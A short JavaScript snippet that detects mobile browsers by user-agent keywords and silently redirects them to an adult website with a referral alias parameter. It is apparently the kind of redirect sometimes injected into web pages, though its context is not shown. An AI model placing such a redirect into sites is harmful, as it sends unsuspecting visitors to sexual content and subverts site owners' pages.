if(navigator.userAgent.match(/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|kindle|mobile|treo|ipaq|palm|nokia|blackberry|opera mini|lg|htc|mot|psp|sonyericsson|sgh|android|iphone|ipod)/i)) {         

        location.replace('http://m.sexo-premium.com?alias=enlaces');   

    }